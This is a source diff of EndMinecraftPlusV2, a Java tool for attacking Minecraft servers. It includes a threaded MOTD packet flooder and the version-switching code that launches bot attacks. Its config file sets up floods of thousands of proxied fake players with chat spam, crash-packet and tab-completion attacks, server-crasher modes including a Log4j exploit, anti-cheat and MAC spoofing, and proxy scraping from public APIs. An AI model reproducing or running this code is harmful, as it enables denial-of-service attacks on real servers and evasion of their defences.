botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_16_X.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_16_X.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 756) {
|
||||
// 1.17.X
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_17_X.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_17_X.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 758) {
|
||||
// 1.18.X
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_18_X.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_18_X.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 759) {
|
||||
// 1.19
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 760) {
|
||||
// 1.19.1-1.19.2
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_1_1_19_2.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_1_1_19_2.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 763) {
|
||||
// 1.19.3-1.20.1
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_3_1_20_1.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_3_1_20_1.PacketHandler();
|
||||
} else {
|
||||
// 1.20.1-(Subsequent Versions)
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X.PacketHandler();
|
||||
}
|
||||
|
||||
BotManager botManager = new BotManager(botHandler, packetHandler);
|
||||
|
||||
if (ConfigUtil.AttackMethod.equals(5)) {
|
||||
botManager.test();
|
||||
} else {
|
||||
botManager.startTask(isDoubleAttack, ProtocolLibs.getProtocolVersion());
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
// MotdAttack
|
||||
MotdAttack.doAttack(false);
|
||||
break;
|
||||
case 3:
|
||||
// MotdAttack(P)
|
||||
MotdAttack.doAttack(true);
|
||||
break;
|
||||
default:
|
||||
LogUtil.doLog(1, "攻击类型错误,停止运行。", null);
|
||||
EndMinecraftPlusV2.Exit();
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,108 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AttackManager;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.net.Socket;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
public class MotdAttack {
|
||||
private static int count = 0;
|
||||
private static int failedCount = 0;
|
||||
|
||||
public static void doAttack(boolean hasProxy) {
|
||||
ExecutorService executorService = Executors.newFixedThreadPool(ConfigUtil.MaxConnections);
|
||||
|
||||
long startTime = System.currentTimeMillis();
|
||||
String title = hasProxy ? "MotdAttack(P)" : "MotdAttack";
|
||||
new Thread(() -> {
|
||||
while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
|
||||
if (!ConfigUtil.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - " + title + " | 当前连接数: " + count + "个 | 失败次数: " + failedCount + "次");
|
||||
OtherUtils.doSleep(100);
|
||||
} else {
|
||||
LogUtil.doLog(0, "当前连接数: " + count + "个 | 失败次数: " + failedCount + "次", title);
|
||||
OtherUtils.doSleep(5000);
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
|
||||
while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
|
||||
executorService.execute(new getMotdTask(hasProxy));
|
||||
OtherUtils.doSleep(ConfigUtil.ConnectDelay);
|
||||
}
|
||||
shutdownAndAwaitTermination(executorService);
|
||||
}
|
||||
|
||||
private static void shutdownAndAwaitTermination(ExecutorService executorService) {
|
||||
executorService.shutdown(); // Disable new tasks from being submitted
|
||||
try {
|
||||
// Wait a while for existing tasks to terminate
|
||||
if (!executorService.awaitTermination(60, TimeUnit.SECONDS)) {
|
||||
executorService.shutdownNow(); // Cancel currently executing tasks
|
||||
// Wait a while for tasks to respond to being cancelled
|
||||
if (!executorService.awaitTermination(60, TimeUnit.SECONDS))
|
||||
LogUtil.doLog(1, "Executor did not terminate", null);
|
||||
}
|
||||
} catch (InterruptedException ie) {
|
||||
// (Re-)Cancel if current thread also interrupted
|
||||
executorService.shutdownNow();
|
||||
// Preserve interrupt status
|
||||
Thread.currentThread().interrupt();
|
||||
}
|
||||
}
|
||||
|
||||
private static class getMotdTask implements Runnable {
|
||||
private final boolean hasProxy;
|
||||
|
||||
public getMotdTask(boolean hasProxy) {
|
||||
this.hasProxy = hasProxy;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
// 使用或不使用代理初始化 socket
|
||||
Proxy proxy = hasProxy ? UniverseMethods.getProxy(UniverseMethods.getProxyType(ConfigUtil.ProxyType)) : Proxy.NO_PROXY;
|
||||
Socket socket = new Socket(proxy);
|
||||
|
||||
// 连接到服务器
|
||||
socket.connect(new InetSocketAddress(ConfigUtil.AttackAddress, ConfigUtil.AttackPort));
|
||||
try (OutputStream out = socket.getOutputStream();
|
||||
InputStream in = socket.getInputStream()) {
|
||||
|
||||
// 向输出流写入数据
|
||||
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||
out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
|
||||
out.flush();
|
||||
|
||||
// 从输入流读取数据
|
||||
byte[] buffer = new byte[12800];
|
||||
if (in.read(buffer) != -1) {
|
||||
LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName());
|
||||
count++;
|
||||
}
|
||||
}
|
||||
|
||||
// 关闭 socket
|
||||
socket.close();
|
||||
OtherUtils.doSleep(ConfigUtil.ConnectDelay);
|
||||
} catch (Throwable e) {
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
|
||||
}
|
||||
failedCount++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,58 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AttackManager.AttackManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionManager.ProtocolLibs;
|
||||
|
||||
public class EndMinecraftPlusV2 {
|
||||
public static String ver = "2.0.0";
|
||||
public static Integer CfgVer = 7;
|
||||
|
||||
public static void main(String[] args) {
|
||||
System.out.println("=======================-Designed by SerendipityR-=======================");
|
||||
System.out.println(" EndMinecraft原作者 - @iuli-moe");
|
||||
System.out.println(" Github发布页: https://github.com/SerendipityR-2022/EndMinecraftPlusV2");
|
||||
System.out.println(" EndMinecraftPlusV2 (Ver: " + ver + ")" + " is loading......");
|
||||
System.out.println("========================================================================");
|
||||
try {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - Designed by SerendipityR");
|
||||
} catch (Throwable e) {
|
||||
ConfigUtil.isLinux = true;
|
||||
}
|
||||
LogUtil.emptyLog();
|
||||
prepareConfig();
|
||||
prepareProxy();
|
||||
startAttack();
|
||||
}
|
||||
|
||||
public static void prepareConfig() {
|
||||
LogUtil.doLog(0, "正在载入配置文件...", "CFGUtil");
|
||||
int result = new ConfigUtil().loadConfig(CfgVer);
|
||||
|
||||
if (result == 0) {
|
||||
Exit();
|
||||
}
|
||||
}
|
||||
|
||||
public static void prepareProxy() {
|
||||
if (!ConfigUtil.AttackMethod.equals(2)) {
|
||||
LogUtil.doLog(0, "正在获取代理...", "ProxyUtil");
|
||||
ProxyUtil.getProxies();
|
||||
ProxyUtil.runUpdateProxiesTask(ConfigUtil.ProxyUpdateTime);
|
||||
}
|
||||
}
|
||||
|
||||
public static void startAttack() {
|
||||
LogUtil.doLog(0, "正在载入Minecraft协议库...", "ProtocolLib");
|
||||
ProtocolLibs.loadProtocolLib();
|
||||
AttackManager.doAttack();
|
||||
}
|
||||
|
||||
public static void Exit() {
|
||||
LogUtil.doLog(0, "程序退出...", "INFO");
|
||||
System.exit(0);
|
||||
}
|
||||
}
|
@ -0,0 +1,150 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.VersionManager;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.*;
|
||||
|
||||
public class ProtocolLibs {
|
||||
public static int currentVersion;
|
||||
static boolean newVersion = false;
|
||||
|
||||
public static void loadProtocolLib() {
|
||||
if (ConfigUtil.AttackMethod.equals(2) || ConfigUtil.AttackMethod.equals(3)) {
|
||||
return;
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "==========================================================", "ProtocolLib");
|
||||
choseProtocolVer(scanProtocolLibs());
|
||||
|
||||
currentVersion = getProtocolVersion();
|
||||
}
|
||||
|
||||
public static int getProtocolVersion() {
|
||||
// 根据版本标志确定包前缀。
|
||||
String packagePrefix = newVersion ? "com.github.steveice10.mc.protocol" : "org.spacehq.mc.protocol";
|
||||
|
||||
// 尝试从ProtocolConstants或MinecraftConstants类获取协议版本。
|
||||
try {
|
||||
Class<?> cls = getClass(packagePrefix + ".ProtocolConstants", packagePrefix + ".MinecraftConstants");
|
||||
Field field = cls.getDeclaredField("PROTOCOL_VERSION");
|
||||
return field.getInt(null); // 静态字段,因此使用null作为对象参数。
|
||||
} catch (Exception ignored) {
|
||||
// 如果出现任何异常,继续尝试其他方式。
|
||||
}
|
||||
|
||||
// 如果从常量获取失败且是新版本,尝试从编解码器类获取。
|
||||
if (newVersion) {
|
||||
try {
|
||||
Class<?> codecClass = Class.forName(packagePrefix + ".codec.MinecraftCodec");
|
||||
Field codecField = codecClass.getField("CODEC");
|
||||
Object codecObject = codecField.get(null); // 静态字段,因此使用null。
|
||||
|
||||
Field protocolVersionField = codecObject.getClass().getDeclaredField("protocolVersion");
|
||||
protocolVersionField.setAccessible(true); // 确保私有字段可访问。
|
||||
return (Integer) protocolVersionField.get(codecObject);
|
||||
} catch (Exception ignored) {
|
||||
// 如果出现任何异常,继续尝试其他方式。
|
||||
}
|
||||
}
|
||||
|
||||
// 如果所有尝试都失败,则返回默认值。
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 辅助方法,尝试按名称加载类,如果首选名称失败,则尝试第二个名称。
|
||||
private static Class<?> getClass(String primaryName, String secondaryName) throws ClassNotFoundException {
|
||||
try {
|
||||
return Class.forName(primaryName);
|
||||
} catch (ClassNotFoundException e) {
|
||||
return Class.forName(secondaryName);
|
||||
}
|
||||
}
|
||||
|
||||
public static List<File> scanProtocolLibs() {
|
||||
try {
|
||||
Class.forName("javassist.CtClass");
|
||||
} catch (ClassNotFoundException e) {
|
||||
OtherUtils.loadLibrary(new File("libs", "javassist-3.22.0-CR2.jar"));
|
||||
}
|
||||
|
||||
File libDir = new File("libs");
|
||||
if (!libDir.exists() && libDir.mkdir()) {
|
||||
LogUtil.doLog(0, "未找到[/libs]文件夹,请确认依赖库被正确放置。", "ProtocolLib");
|
||||
}
|
||||
|
||||
List<File> versionLibs = new ArrayList<>();
|
||||
for (File file : Objects.requireNonNull(libDir.listFiles())) {
|
||||
if ((file.getName().startsWith("MC-") || file.getName().startsWith("MCP-")) && file.getName().endsWith(".jar"))
|
||||
versionLibs.add(file);
|
||||
}
|
||||
|
||||
Collections.sort(versionLibs);
|
||||
return versionLibs;
|
||||
}
|
||||
|
||||
public static void choseProtocolVer(List<File> versionLibs) {
|
||||
// 使用自定义比较器对versionLibs列表进行排序
|
||||
versionLibs.sort((f1, f2) -> {
|
||||
String v1 = f1.getName().replaceAll("[^\\d.]", "");
|
||||
String v2 = f2.getName().replaceAll("[^\\d.]", "");
|
||||
return compareVersionStrings(v1, v2);
|
||||
});
|
||||
|
||||
// 显示排序后的版本库
|
||||
for (int i = 0; i < versionLibs.size(); i++) {
|
||||
File file = versionLibs.get(i);
|
||||
String filename = file.getName();
|
||||
String version = filename.substring(filename.indexOf("-") + 1, filename.lastIndexOf("."));
|
||||
LogUtil.doLog(0, "(" + (i + 1) + ") " + version, "ProtocolLib");
|
||||
}
|
||||
|
||||
LogUtil.doLog(-1, "请选择一个Minecraft协议库版本: ", "ProtocolLib");
|
||||
|
||||
try {
|
||||
Scanner scanner = new Scanner(System.in);
|
||||
int sel = Integer.parseInt(scanner.nextLine());
|
||||
File versionLib = versionLibs.get(sel - 1);
|
||||
|
||||
if (versionLib.getName().contains("MCP")) {
|
||||
newVersion = true;
|
||||
}
|
||||
|
||||
OtherUtils.loadLibrary(versionLib);
|
||||
LogUtil.doLog(0, "当前协议库版本: " + getProtocolVersion(), "ProtocolLib");
|
||||
} catch (Exception e) {
|
||||
LogUtil.emptyLog();
|
||||
LogUtil.doLog(1, "加载Minecraft协议库时发生错误! 详细信息:" + e, null);
|
||||
LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib");
|
||||
LogUtil.doLog(0, " 1.检查[/libs]文件夹内依赖库是否完整", "ProtocolLib");
|
||||
LogUtil.doLog(0, " 2.检查对应依赖库是否存在", "ProtocolLib");
|
||||
LogUtil.doLog(0, " (如[1.8]需要[MC-1.8.jar])", "ProtocolLib");
|
||||
LogUtil.doLog(0, " 3.请输入正确的协议库序号(如10)", "ProtocolLib");
|
||||
LogUtil.doLog(0, "==========================================================", "ProtocolLib");
|
||||
LogUtil.emptyLog();
|
||||
|
||||
choseProtocolVer(scanProtocolLibs());
|
||||
}
|
||||
}
|
||||
|
||||
// 版本号比较方法
|
||||
public static int compareVersionStrings(String v1, String v2) {
|
||||
String[] v1Components = v1.split("\\.");
|
||||
String[] v2Components = v2.split("\\.");
|
||||
|
||||
int length = Math.max(v1Components.length, v2Components.length);
|
||||
for (int i = 0; i < length; i++) {
|
||||
int v1Part = i < v1Components.length ? Integer.parseInt(v1Components[i]) : 0;
|
||||
int v2Part = i < v2Components.length ? Integer.parseInt(v2Components[i]) : 0;
|
||||
if (v1Part < v2Part) {
|
||||
return -1;
|
||||
} else if (v1Part > v2Part) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
163
Main/src/config.yml
Normal file
163
Main/src/config.yml
Normal file
@ -0,0 +1,163 @@
|
||||
###############################
|
||||
# EndMinecraftPlusV2 #
|
||||
# Designed by SerendipityR #
|
||||
###############################
|
||||
|
||||
CfgVer: 7
|
||||
|
||||
AttackSettings:
|
||||
Address: "example.com"
|
||||
Port: 25565
|
||||
# 攻击方式:
|
||||
# 1 - BotAttack - 集群假人(代理)
|
||||
# 2 - MotdAttack - MOTD压测(无代理)
|
||||
# 3 - MotdAttackP - MOTD压测(代理)
|
||||
# 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
|
||||
# 5 - BotDebug - 假人调试模式(无代理)
|
||||
Method: 1
|
||||
Time: 3600
|
||||
ConnectDelay: 15
|
||||
ConnectTimeout: 5000
|
||||
# 实际连接数由代理质量和机器性能有关
|
||||
# 进行无代理Motd压测时不建议大于32
|
||||
MaxConnections: 2500
|
||||
# 旧版漏洞利用,大概率无效
|
||||
AntiAttackMode: true
|
||||
DoubleExploitPlayer: "ImOldSix_666"
|
||||
# 假人调试模式
|
||||
DebugPlayer: "Genshin_Activate"
|
||||
DebugPlayerActivities:
|
||||
Enable: true
|
||||
# 调试流程
|
||||
# wait - 等待:<时间(ms)>
|
||||
# chat - 发送聊天信息:<内容>
|
||||
# randomTeleport - 随机传送:<次数>
|
||||
# backTeleport - 回到重生点
|
||||
# register&Login - 执行注册/登录:<密码>
|
||||
# crashPacket - 发送崩服数据包:<数量>
|
||||
Actions:
|
||||
- "wait:1000"
|
||||
- "chat:原神,启动!"
|
||||
- "randomTeleport:1"
|
||||
- "wait:1000"
|
||||
- "backTeleport"
|
||||
- "register&Login:genshinImpact"
|
||||
- "crashPacket:20"
|
||||
- "wait:1000"
|
||||
- "crashPacket:20"
|
||||
ShowFails: false
|
||||
|
||||
AdvancedSettings:
|
||||
# 启用Forge支持
|
||||
ForgeSupport:
|
||||
# 从mods文件夹中读取modId:version信息
|
||||
Enable: true
|
||||
ReadFromFiles: true
|
||||
ModList:
|
||||
- "exampleMod:1.0.0"
|
||||
# 猫反作弊欺骗
|
||||
CatAntiCheat:
|
||||
Enable: false
|
||||
CustomScreenShot: "test.png"
|
||||
# 类加载列表,请注意版本特征
|
||||
# 1.7.10 - net.minecraft.launchwrapper.ITweaker
|
||||
# 1.12.2 - net.minecraft.launchwrapper.LaunchClassLoader
|
||||
LoadedClass:
|
||||
- "net.minecraft.launchwrapper.LaunchClassLoader"
|
||||
# 需在mods文件夹中放入5个以上原始客户端模组
|
||||
LoadedMods: "mods"
|
||||
# MAC|Check欺骗
|
||||
MACChecker:
|
||||
RandomMAC: false
|
||||
# 发 包 崩 服
|
||||
# 来自FDPClient的魔法道具~
|
||||
ServerCrasher:
|
||||
# 1 - Book (BSign/BEdit) [仅1.12.2前可用]
|
||||
# 2 - Log4j Exploit
|
||||
# 3 - WorldEdit
|
||||
# 4 - MultiverseCore
|
||||
# 5 - PEX
|
||||
Mode: 1
|
||||
PacketDelay: 100
|
||||
|
||||
BotSettings:
|
||||
# 可用占位符:
|
||||
# $rnd - 随机字符
|
||||
# $pwd - 随机生成密码
|
||||
BotName: "ImOldSix_$rnd"
|
||||
BotCount: 1000
|
||||
# 随机字符规则 (仅影响BotName):
|
||||
# 1 - Normal - 简单随机化
|
||||
# 2 - Ili - iii混淆式
|
||||
# 3 - ABC - 纯字母
|
||||
# 4 - 123 - 纯数字
|
||||
RandomFlag: 1
|
||||
RandomMinLength: 6
|
||||
RandomMaxLength: 8
|
||||
# 是否回复KeepAlive数据包
|
||||
# 如果你发现假人断开连接的原因与"Timeout"相关,请尝试切换此项。
|
||||
KeepAlive: false
|
||||
# 重新加入前模拟刷新服务器列表
|
||||
GetMotdBeforeRejoin: true
|
||||
GetMotdCount: 5
|
||||
GetMotdDelay: 500
|
||||
# 自动重连次数/间隔
|
||||
RejoinCount: 5
|
||||
RejoinDelay: 3500
|
||||
# 若踢出信息中检测到以下字段,则执行重连
|
||||
RejoinDetect:
|
||||
- "AntiAttack"
|
||||
# 若踢出信息为空,则无条件执行重连
|
||||
EmptyMsgRejoin: true
|
||||
# 若聊天信息中检测到以下字段,则尝试进行点击验证
|
||||
ClickVerifiesDetect:
|
||||
- "点击验证"
|
||||
# 支持占位符: $userName $rnd $pwd
|
||||
RegisterCommands:
|
||||
- "/register $pwd $pwd"
|
||||
- "/login $pwd"
|
||||
CustomChat:
|
||||
- "喵喵喵萌喵~ $rnd"
|
||||
- "喵喵喵萌~ $rnd"
|
||||
- "喵喵喵~ $rnd"
|
||||
- "喵喵~ $rnd"
|
||||
- "喵~ $rnd"
|
||||
# 显示来自服务器的聊天信息
|
||||
ShowServerMessages: true
|
||||
# 行动流程
|
||||
# async - 异步执行任务
|
||||
# wait - 等待:<时间(ms)>
|
||||
# chatSpam - 随机发送聊天信息:<次数>_<间隔(ms)>
|
||||
# randomTeleport - 随机传送:<次数>_<间隔(ms)>
|
||||
# backTeleport - 回到重生点
|
||||
# register&Login - 执行注册/登录:<flag>_<是否使用已生成密码>_<自定义密码>
|
||||
# crashPacket - 发送崩服数据包:<数量>
|
||||
# tabAttack - 执行Tab补全:<数量>_<间隔(ms)>
|
||||
Actions:
|
||||
- "register&Login:login_true_genshinImpact"
|
||||
- "async|chatSpam:10_3000"
|
||||
- "async|randomTeleport:25_100"
|
||||
- "wait:3000"
|
||||
- "async|backTeleport"
|
||||
- "async|crashPacket:75"
|
||||
- "async|tabAttack:25_75"
|
||||
|
||||
Proxy:
|
||||
# 代理获取方式:
|
||||
# 1 - API - 从API获取
|
||||
# 2 - File - 从本地读取
|
||||
# 3 - File + API - 两种方式同时获取
|
||||
GetType: 1
|
||||
# 代理类型:
|
||||
# 1 - HTTP/HTTPS
|
||||
# 2 - SOCKS4
|
||||
# 3 - SOCKS5
|
||||
ProxyType: 1
|
||||
UpdateTime: 300
|
||||
File: "proxies.txt"
|
||||
APIs:
|
||||
- "http://www.66ip.cn/mo.php?tqsl=9999"
|
||||
- "https://www.89ip.cn/tqdl.html?api=1&num=9999"
|
||||
# 保存能连接到目标服务器的代理地址 (如果支持)
|
||||
# 位置: working-proxies.txt
|
||||
SaveWorkingProxy: true
|
1
Main/src/data.yml
Normal file
1
Main/src/data.yml
Normal file
@ -0,0 +1 @@
|
||||
Data: []
|
38
Tools/Tools.iml
Normal file
38
Tools/Tools.iml
Normal file
@ -0,0 +1,38 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/jna-5.12.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/javassist-3.22.0-CR2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
3
Tools/src/META-INF/MANIFEST.MF
Normal file
3
Tools/src/META-INF/MANIFEST.MF
Normal file
@ -0,0 +1,3 @@
|
||||
Manifest-Version: 1.0
|
||||
Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
|
||||
|
@ -0,0 +1,430 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import cc.summermc.bukkitYaml.file.YamlConfiguration;
|
||||
|
||||
import javax.naming.directory.Attribute;
|
||||
import javax.naming.directory.InitialDirContext;
|
||||
import javax.script.ScriptEngine;
|
||||
import javax.script.ScriptEngineManager;
|
||||
import javax.script.ScriptException;
|
||||
import java.io.*;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.*;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarFile;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
public class ConfigUtil {
|
||||
public static File configFile;
|
||||
public static YamlConfiguration config;
|
||||
public static Boolean isLinux = false;
|
||||
public static Integer CfgVer;
|
||||
public static String AttackAddress;
|
||||
public static Integer AttackPort;
|
||||
public static Integer AttackMethod;
|
||||
public static Integer AttackTime;
|
||||
public static Long ConnectDelay;
|
||||
public static Long ConnectTimeout;
|
||||
public static Integer MaxConnections;
|
||||
public static Boolean AntiAttackMode;
|
||||
public static String DoubleExploitPlayer;
|
||||
public static String DebugPlayer;
|
||||
public static Boolean DebugPlayerActivities;
|
||||
public static List<String> DebugPlayerActions;
|
||||
public static Boolean ShowFails;
|
||||
public static String BotName;
|
||||
public static Integer RandomFlag;
|
||||
public static Integer RandomMinLength;
|
||||
public static Integer RandomMaxLength;
|
||||
public static Boolean KeepAlive;
|
||||
public static Integer BotCount;
|
||||
public static List<String> RegisterCommands;
|
||||
public static Boolean GetMotdBeforeRejoin;
|
||||
public static Integer GetMotdCount;
|
||||
public static Long GetMotdDelay;
|
||||
public static Integer RejoinCount;
|
||||
public static List<String> RejoinDetect;
|
||||
public static Boolean EmptyMsgRejoin;
|
||||
public static Long RejoinDelay;
|
||||
public static List<String> ClickVerifiesDetect;
|
||||
public static List<String> CustomChat;
|
||||
public static List<String> BotActions;
|
||||
public static Integer ProxyGetType;
|
||||
public static Integer ProxyType;
|
||||
public static Integer ProxyUpdateTime;
|
||||
public static File ProxyFile;
|
||||
public static List<String> ProxyAPIs;
|
||||
public static Boolean SaveWorkingProxy;
|
||||
public static Boolean ForgeSupport;
|
||||
public static Boolean ReadFromFiles;
|
||||
public static HashMap<String, String> ForgeModList;
|
||||
public static Boolean CatAntiCheat;
|
||||
public static File CACCustomScreenShot;
|
||||
public static List<String> CACLoadedClass;
|
||||
public static File CACLoadedMods;
|
||||
public static Boolean RandomMAC;
|
||||
public static Boolean ShowServerMessages;
|
||||
public static Integer ServerCrasherMode;
|
||||
public static Long ServerCrasherPacketDelay;
|
||||
|
||||
public int loadConfig(int cfgVer) {
|
||||
try {
|
||||
configFile = new File("config.yml");
|
||||
|
||||
if (!configFile.exists()) {
|
||||
LogUtil.doLog(1, "载入配置文件失败! 文件不存在。", null);
|
||||
return 0;
|
||||
}
|
||||
|
||||
config = YamlConfiguration.loadConfiguration(configFile);
|
||||
|
||||
CfgVer = config.getInt("CfgVer");
|
||||
|
||||
AttackAddress = config.getString("AttackSettings.Address");
|
||||
AttackPort = config.getInt("AttackSettings.Port");
|
||||
AttackMethod = config.getInt("AttackSettings.Method");
|
||||
AttackTime = config.getInt("AttackSettings.Time");
|
||||
ConnectDelay = config.getLong("AttackSettings.ConnectDelay");
|
||||
ConnectTimeout = config.getLong("AttackSettings.ConnectTimeout");
|
||||
MaxConnections = config.getInt("AttackSettings.MaxConnections");
|
||||
AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");
|
||||
DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer");
|
||||
DebugPlayer = config.getString("AttackSettings.DebugPlayer");
|
||||
DebugPlayerActivities = config.getBoolean("AttackSettings.DebugPlayerActivities.Enable");
|
||||
DebugPlayerActions = config.getStringList("AttackSettings.DebugPlayerActivities.Actions");
|
||||
ShowFails = config.getBoolean("AttackSettings.ShowFails");
|
||||
BotName = config.getString("BotSettings.BotName");
|
||||
BotCount = config.getInt("BotSettings.BotCount");
|
||||
RandomFlag = config.getInt("BotSettings.RandomFlag");
|
||||
RandomMinLength = config.getInt("BotSettings.RandomMinLength");
|
||||
RandomMaxLength = config.getInt("BotSettings.RandomMaxLength");
|
||||
KeepAlive = config.getBoolean("BotSettings.KeepAlive");
|
||||
RegisterCommands = config.getStringList("BotSettings.RegisterCommands");
|
||||
GetMotdBeforeRejoin = config.getBoolean("BotSettings.GetMotdBeforeRejoin");
|
||||
GetMotdCount = config.getInt("BotSettings.GetMotdCount");
|
||||
GetMotdDelay = config.getLong("BotSettings.GetMotdDelay");
|
||||
RejoinCount = config.getInt("BotSettings.RejoinCount");
|
||||
RejoinDetect = config.getStringList("BotSettings.RejoinDetect");
|
||||
EmptyMsgRejoin = config.getBoolean("BotSettings.EmptyMsgRejoin");
|
||||
RejoinDelay = config.getLong("BotSettings.RejoinDelay");
|
||||
ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
|
||||
CustomChat = config.getStringList("BotSettings.CustomChat");
|
||||
ShowServerMessages = config.getBoolean("BotSettings.ShowServerMessages");
|
||||
BotActions = config.getStringList("BotSettings.Actions");
|
||||
ProxyGetType = config.getInt("Proxy.GetType");
|
||||
ProxyType = config.getInt("Proxy.ProxyType");
|
||||
ProxyUpdateTime = config.getInt("Proxy.UpdateTime");
|
||||
